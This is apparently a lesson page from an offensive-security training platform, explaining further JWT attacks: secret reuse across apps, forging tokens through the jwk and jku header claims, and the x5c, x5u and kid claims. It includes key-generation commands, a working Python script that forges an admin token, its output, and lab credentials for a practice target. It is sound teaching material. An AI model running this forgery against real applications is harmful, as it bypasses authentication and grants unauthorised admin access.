Attacking Authentication Mechanisms
Further JWT Attacks
There are other vulnerabilities that can affect JWTs, and while we cannot cover all of them, a few are worth learning about. These include vulnerabilities resulting from shared JWT secrets between web applications and use of other standardized JWT claims. While the JWT header often contains only the alg and type claims, the standard defines multiple additional claims that may be used in JWT headers.
Reusing JWT Secrets
If a company hosts multiple web applications that use JWTs for authentication, each must use a different signing secret. If this is not the case, an attacker might be able to use a JWT obtained from one web application to authenticate to another. This situation becomes particularly problematic if one of these web applications grants higher privilege level access, and both encode the privilege level within the JWT.
For instance, assume a company hosts two different social media networks: socialA.htb and socialB.htb. Furthermore, a sample user is a moderator on socialA, thus their JWT contains the claim "role": "moderator", while on socialB they do not have any special privileges, i.e., the JWT contains the claim "role": "user". If both social networks used the same JWT secret, the sample user would be able to re-use their JWT from socialA on socialB to obtain moderator privileges.
Exploiting jwk
Before discussing how to exploit the jwk claim, let us understand its purpose. The claim is defined in the JWS standard:
The "jwk" (JSON Web Key) Header Parameter is the public key that corresponds to the key used to digitally sign the JWS.
This key is represented as a JSON Web Key. Use of this Header Parameter is OPTIONAL.
As we can see, jwk contains information about the public key used for key verification for asymmetric JWTs. If the web application is misconfigured to accept arbitrary keys provided in the jwk claim, we could forge a JWT, sign it with our own private key, and then provide the corresponding public key in the jwk claim for the web application to verify the signature and accept the JWT.
Just like before, let us obtain and analyze a JWT by logging into the web application:
We can see that this time, the JWT's header contains a jwk claim with the details about the public key. Let us attempt to execute our exploit plan, which we discussed before.
Firstly, we need to generate our own keys to sign the JWT. We can do so with the following commands:
[!bash!]$ openssl genpkey -algorithm RSA -out exploit_private.pem -pkeyopt rsa_keygen_bits:2048
[!bash!]$ openssl rsa -pubout -in exploit_private.pem -out exploit_public.pem
With these keys, we need to perform the following steps:
- Manipulate the JWT's payload to set the
isAdminclaim toTrue - Manipulate the JWT's header to set the
jwkclaim to our public key's details - Sign the JWT using our private key
We can automate the exploitation using the following python script:
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from jose import jwk
import jwt
# JWT Payload
jwt_payload = {'user': 'htb-stdnt', 'isAdmin': True}
# convert PEM to JWK
with open('exploit_public.pem', 'rb') as f:
public_key_pem = f.read()
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
jwk_key = jwk.construct(public_key, algorithm='RS256')
jwk_dict = jwk_key.to_dict()
# forge JWT
with open('exploit_private.pem', 'rb') as f:
private_key_pem = f.read()
token = jwt.encode(jwt_payload, private_key_pem, algorithm='RS256', headers={'jwk': jwk_dict})
print(token)
We can run it after installing the required dependencies:
[!bash!]$ pip3 install pyjwt cryptography python-jose
[!bash!]$ python3 exploit.py
eyJhbGciOiJSUzI1NiIsImp3ayI6eyJhbGciOiJSUzI1NiIsImUiOiJBUUFCIiwia3R5IjoiUlNBIiwibiI6InJ0eV96YWRVSjJBZFpfQ3BqaDJCRlVQd2YtWnlWeUt6aWYzbjZZc3ZxVWlwZjh5ZVNpSGk2RFJVRm9ibzVfMnpnSnRQeVVGTmNyRzIwSWd6cTdobzRDNWRfcVN0d2RfVnRfcHQ0Q0Zmdm1CZHRlZzVTcmJIYVVlbU1CQXFYbVB6S2sxOUNOVkZTdVhqa21mSk9OZ1Q3Q3VoRFV5bTFiN3U3TjNsQmlZVmh2Rnl5NVZ1dHplNkN2MS1aMTF0THhCaEF4cnlNTHNsSG1HODZmNld5ZTAwcGYyR21xel93LTdGT3dfcUFZdUwtZlpMVXNZSVltT01PVDAxa3pMV1VWSDJ0R2VYNGdYaVc2YU94cC1SNFd4NUo5ai1QZlFjcVFTOXduOHZ0Ry1rSjBQYlRVbGozUi12djk3d0VLcEZuanhzSGxWN1Rvcm9nSWJKTDZ4YUZJR3YxUSJ9LCJ0eXAiOiJKV1QifQ.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6dHJ1ZX0.FimEK1Cnw1PL8Krt7mpzIcBAkVgTOAVquh7yUFIr3xrQmaDzObxmlkOZmHwmBN1Odc0NOZToWVo_o-0Yf1ldPvueGlCShlUyoOyFMVQhiWcW_EIpCPdRoG60Venyp6ePHirrZGPSXz4JAKUKRdj4CWK_2sIHlQmGmmMy0W1hL-08Dq-oueYWY-OsshDrbyMx6ibZ8vmVL4PkiBv6PalPDIrIrJZHEM0tr0IotZy_MNiOF2Rvy22XU2FapIj0cuCL21vud9k_IQZwVhPdEJ_XEnnLiFYRYI0wBl3SQ9N4xtt0eMPSe4CqtOd4veYT1JCmqL6jKkkumIqdUHcdQhA_Aw
Analyzing our forged token, we can see that the payload was successfully manipulated, and the jwk claim now contains our public key's details:
Finally, we can use our forged token to obtain administrative access:

Exploiting jku
Another interesting claim is the jku claim, which has the following purpose, according to the JWS standard:
The "jku" (JWK Set URL) Header Parameter is a URI that refers to a resource for a set of JSON-encoded public keys,
one of which corresponds to the key used to digitally sign the JWS.
The keys MUST be encoded as a JWK Set. The protocol used to acquire the resource MUST provide integrity protection;
an HTTP GET request to retrieve the JWK Set MUST use Transport Layer Security (TLS),
and the identity of the server MUST be validated,
as per [Section 6 of RFC 6125]. Also, see [Section 8] on TLS requirements.
Use of this Header Parameter is OPTIONAL.
As such, the jku claim serves a similar purpose to the jwk claim. However, instead of holding the key details directly, the claim contains a URL that serves the key details. If a web application does not correctly check this claim, it can be exploited by an attacker similar to the jwk claim. The process is nearly identical; however, instead of embedding the key details into the jwk claim, the attacker hosts the key details on his web server and sets the JWT's jku claim to the corresponding URL.
Furthermore, the jku claim may potentially be exploited for blind GET-based Server Side Request Forgery (SSRF) attacks. For more details on these types of attacks, check out the Server-side Attacks module.
Further Claims
There are further JWT claims that can be potentially exploited. These include the x5c and x5u claims, which serve a similar purpose to the jwk and jku claims. The main difference is that these claims do not contain information about the public key but about the certificate or certificate chain. However, exploiting these claims is similar to the jwk and jku exploits. Finally, there is the kid claim, which uniquely identifies the key used to secure the JWT. Depending on how the web application handles this parameter, it may lead to a broad spectrum of web vulnerabilities, including path traversal, SQL injection, and even command injection. However, these would require severe misconfigurations within the web application that rarely occur in the real world.
For more details on these claims, check out the JWS standard.
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
Authenticate to with user "htb-stdnt" and password "AcademyStudent!"
+10 Streak pts
Table of Contents
Introduction to Authentication Mechanisms
Introduction to Authentication MechanismsJWTs
Introduction to JWTs Attacking Signature Verification Attacking the Signing Secret Algorithm Confusion Further JWT Attacks JWT Tools of the Trade & Vulnerability PreventionOAuth
Introduction to OAuth OAuth Lab Setup Stealing Access Tokens Improper CSRF Protection Additional OAuth Vulnerabilities OAuth Vulnerability PreventionSAML
Introduction to SAML SAML Lab Setup Signature Exclusion Attack Signature Wrapping Attack Additional SAML Vulnerabilities SAML Tools of the Trade & Vulnerability PreventionSkills Assessment
Skills AssessmentMy Workstation
OFFLINE
/ 1 spawns left